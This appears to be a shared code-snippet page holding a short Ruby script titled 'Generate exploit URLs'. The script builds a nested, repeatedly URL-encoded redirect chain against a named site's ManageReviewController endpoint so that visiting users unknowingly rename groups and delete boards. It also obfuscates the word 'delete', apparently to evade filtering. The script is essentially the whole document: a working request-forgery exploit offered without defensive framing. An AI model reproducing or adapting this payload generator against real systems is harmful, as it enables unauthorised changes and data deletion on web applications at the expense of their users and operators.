Snippets

mason.malone Generate exploit URLs

Created by mason.malone last modified Mason Malone
require 'uri'
require 'cgi'

refresh = []
for group_id in [1, 2, 3, 4, 5, 6, 7, 8, 10, 11, 12, 13, 14, 15] do
  refresh << "/controllers/GroupController.php?action=update&group_id=#{group_id}&name=view"
end
for board_id in [5,6] do
  refresh << "/controllers/BoardController.php?action=delete&board_id=#{board_id}"
end

for i in 0..(refresh.length-2)
  refresh[i] += '&refresh='
end

for i in 0..(refresh.length-1)
  for j in i..(refresh.length-1)
    refresh[j] = CGI.escape(refresh[j]).gsub('delete', URI.escape("delete", /./))
  end
end

base = "https://devel.the-jci.org/controllers/ManageReviewController.php?action=manage&refresh="
puts base + refresh.join('')

Comments (0)

HTTPS SSH

You can clone a snippet to your computer for local editing. Learn more.